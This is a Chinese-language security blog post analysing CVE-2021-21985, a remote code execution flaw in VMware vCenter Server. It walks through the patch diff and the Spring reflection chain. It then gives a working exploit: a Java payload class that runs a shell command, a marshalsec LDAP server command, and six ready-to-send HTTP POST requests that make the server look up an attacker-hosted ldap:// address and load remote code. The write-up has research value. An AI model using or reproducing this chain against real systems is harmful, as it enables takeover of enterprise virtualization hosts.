vCenter Server CVE-2021-21985 RCE分析

robots

 

0x00 漏洞描述

VMware官方发布了VMware vCenter Server远程代码执行漏洞的风险通告,该漏洞是由360 Noah Lab的安全研究员Ricter Z发现的。VMware vCenter Server是VMware虚拟化管理平台,广泛的应用于企业私有云内网中。通过使用vCenter,管理员可以轻松的管理上百台虚拟化环境,同时也意味着当其被攻击者控制后会造成私有云大量虚拟化环境将被攻击者控制。可以通过443访问vCenter Server的攻击者可以直接通过请求在目标主机上执行任意代码,并接管目标主机。攻击复杂度低所需的条件少不需要用户交互

 

0x01 服务分析

0x1 rhttpproxy 代理

通过端口查看相对应的进程,发现web服务主要由rhttpproxy程序进行转发

通过 ps aux| grep 8744 指令查看到相应的启动指令,可以看到其中的配置文件所在的目录

/usr/lib/vmware-rhttpproxy/rhttpproxy -r /etc/vmware-rhttpproxy/config.xml -d /etc/vmware-rhttpproxy/endpoints.conf.d -f /etc/vmware-rhttpproxy/endpoints.conf.d/vpxd.conf

配置文件如下,我们以/ui路由为例查看其配置策略

搜索到了相关配置,大概意思是/ui路由数据转发给了本地5090端口,rhttpproxy程序做了个代理服务

0x2 Java程序

使用lsof指令查看5090端口是哪个进程开放

很明显是个Java程序,我们想办法把它调试起来。

 

0x02 调试分析

取了个比较笨的方法替换之前的vsphere-ui.launcher可执行程序,并在其中添加调试信息后调用之前的程序,跟随之前的参数

发现连接不上调试端口,尝试将添加防火墙规则

iptables -A INPUT -p tcp --dport 5009 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 5009 -j ACCEPT

之后就可以正常调试了

 

0x03 漏洞点分析

0x1 补丁分析

通过两个版本对比分析,h5-vsan-context.jar/WEB-INF/web.xml 改动如下,/rest路由必须经过AuthenticationFilter类进行权限校验,修补了未鉴权路由。

com.vmware.vsan.client.services.ProxygenController该类添加了额外的输入验证

根据补丁信息基本可以确认这次漏洞存在的文件为ProxygenController.class,漏洞类型为反射和序列化。但一开始关于如何利用想了半天没搞明白。。。

0x2 漏洞点梳理

在ProxygenController.class 文件中的invokeService函数是一个标准的spring框架路由处理函数,如下图所示

RequestMapping注解会配置该函数的触发路由以及请求方法

    @RequestMapping(
        value = {"/service/{beanIdOrClassName}/{methodName}"},
        method = {RequestMethod.POST}
    )

粗略的看下代码

  1. 在第58行会通过根据url传递过来的路径参数,在beanFactory中获取相对应的bean(这里有可能有一些小伙伴不太懂,后面会分析)
  2. 在第64行通过反射的方式获取了MethodInvokingFactoryBean对象的所有方法
  3. 在第72行调用MethodInvokingFactoryBean中的函数并传入methodInput参数

0x04 技术点分析与利用链构造

iswin师傅发出了一篇关于spring bean的伪链式漏洞利用,好奇的我赶紧学了下spring相关技术总结为以下几个技术点

  1. 什么是Spring MethodInvokingFactoryBean 静态注入
  2. 如何利用MethodInvokingFactoryBean达到调用指定方法
  3. 伪链式反射调用链构造

0x1 MethodInvokingFactoryBean 静态注入

为了解决一些对象或变量从配置文件加载到项目启动后不需要进行变化,提出了一种基于xml的静态注入机制,通过该方式注入出来的对象可在java程序中直接使用。可参见如下配置和代码

<bean id="test" class="com.test.User">
<property name="username" value="name"></property>
<property name="passwd" value="pass"></property>
</bean>
<!-- 相当于  Controller.setUsername(User test)   -->
<bean class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<!-- 注入的静态方法 -->
<property name="staticMethod" value="com.a.b.c.Controller.setUsername"></property>
<!-- 注入的参数 -->
<property name="arguments" ref="test"></property>
</bean>

com.test.User代码如下

public class User{
    private static final long serialVersionUID = 1L;
    private String username;
    private String password; 
    public String getUsername() {
        return username;
    }
    public void setUsername(String username) {
        this.username = username == null ? null : username.trim();
    }
    public String getPassword() {
        return password;
    }
    public void setPassword(String password) {
        this.password = password == null ? null : password.trim();
    }
}

com.a.b.c.Controller代码如下

public class Controller{

    public static void setUsername(User users) {
        users.setUsername("xxx")
    }
}

项目启动后就会生成User对象test,以及调用Controller.setUsername(test)函数,这样就体现了Spring IoC容器的作用:将原来使用Java代码管理的耦合关系,提取到XML中进行管理,从而降低了各组件之间的耦合,提高了软件系统的可维护性。

0x2 MethodInvokingFactoryBean 调用指定方法

上面介绍了静态注入的配置方法,在漏洞中其实使用的是静态注入的原理部分,调用类方法及参数传递。假设有这么个类

public static class TestClass1 {

        public static void intArgument(int arg) {
            System.out.println(arg);
        }

当使用以下方法调用时就可以实现执行TestClass1.intArgument(5)的效果,有种反射调用的即视感。

methodInvoker = new MethodInvokingFactoryBean();
methodInvoker.setTargetClass(TestClass1.class);
methodInvoker.setTargetMethod("intArgument");
methodInvoker.setArguments(5);
methodInvoker.prepare();
methodInvoker.invoke();

0x3 伪链式反射调用链构造

伪链式反射调用链有几个关键点需要注意

1.Spring Bean在内存中一直存在,可以连续修改其属性值
2.静态注入 MethodInvokingFactoryBean 可实现反射调用

在vcenter vsan插件中寻找关于静态注入的配置,果不其然有大量的关键信息

在vsan初始化过程中spring会通过配置文件静态注入生成对应的对象,并且在运行过程中这些对象一直存在。如下图所示,getBean会在beanFactory的HashMap中找到键为beanIdOrClassName的值并返回给bean

之后通过getMethods方法获取org.springframework.beans.factory.config.MethodInvokingFactoryBean的所有方法

通过method.getName().equals(methodName)控制调用MethodInvokingFactoryBean的指定函数,同时可以利用body.get(“methodInput”)控制反射调用的参数。最后使用method.invoke(bean, methodInput)实现调用MethodInvokingFactoryBean指定函数的目的。

0x4 思考点

经过上面的分析,有个点非常有意思,我们可以通过漏洞点修改MethodInvokingFactoryBean 任意Bean的方法和参数,而且最后还能实现Bean调用。这个危害就比较大了,根据iswin师傅提供的思路,使用JNDI技术实现RCE。

具体操作如下:

1.利用反射修改静态方法为javax.naming.InitialContext.doLookup
2.利用反射修改目标方法为doLookup
3.利用反射修改参数为外链地址 ldap://192.168.0.124:1389/Exploit
4.利用反射调用函数

具体方式可参照

methodInvoker = new MethodInvokingFactoryBean();
methodInvoker.setTargetClass(TestClass1.class);
methodInvoker.setTargetMethod("intArgument");
methodInvoker.setArguments(5);
methodInvoker.prepare();
methodInvoker.invoke();

 

0x05 漏洞利用

0x1 编写利用类

因为利用ldap方式进行命令执行,首先要编写最后的命令执行代码。
Exploit.java

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class Exploit{
    public Exploit() throws IOException,InterruptedException{
        String cmd="touch /tmp/xxx";
        final Process process = Runtime.getRuntime().exec(cmd);
        printMessage(process.getInputStream());;
        printMessage(process.getErrorStream());
        int value=process.waitFor();
        System.out.println(value);
    }

    private static void printMessage(final InputStream input) {
        // TODO Auto-generated method stub
        new Thread (new Runnable() {
            @Override
            public void run() {
                // TODO Auto-generated method stub
                Reader reader =new InputStreamReader(input);
                BufferedReader bf = new BufferedReader(reader);
                String line = null;
                try {
                    while ((line=bf.readLine())!=null)
                    {
                        System.out.println(line);
                    }
                }catch (IOException  e){
                    e.printStackTrace();
                }
            }
        }).start();
    }
}

编译代码

javac Exploit.java

0x2 开启ldap服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.0.124:9998/#Exploit

0x3 发送数据包

逐个发送数据包与伪造的LDAP Server建立LDAP链接,最后请求获取恶意Exploit.class

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVsanServiceFactory/setTargetObject HTTP/1.1
Host: 192.168.0.233
Connection: close
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 22

{"methodInput":[null]}
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod HTTP/1.1
Host: 192.168.0.233
Connection: close
Content-Type: application/json
Content-Length: 56

{"methodInput":["javax.naming.InitialContext.doLookup"]}
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod HTTP/1.1
Host: 192.168.0.233
Connection: close
Content-Type: application/json
Content-Length: 28

{"methodInput":["doLookup"]}
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments HTTP/1.1
Host: 192.168.0.233
Connection: close
Content-Type: application/json
Content-Length: 55

{"methodInput":[["ldap://192.168.0.124:1389/Exploit"]]}
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare HTTP/1.1
Host: 192.168.0.233
Connection: close
Content-Type: application/json
Content-Length: 18

{"methodInput":[]}
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke HTTP/1.1
Host: 192.168.0.233
Connection: close
Content-Type: application/json
Content-Length: 18

{"methodInput":[]}

效果如下

 

0x06 总结

vcenter这个洞充分利用了spring的相关特性,有一定的入门门槛,可见对框架的理解和掌握在漏洞挖掘过程中是多么的重要,最后膜拜下Ricter Z师傅。

 

参考文章

https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/
https://www.anquanke.com/post/id/242337

(完)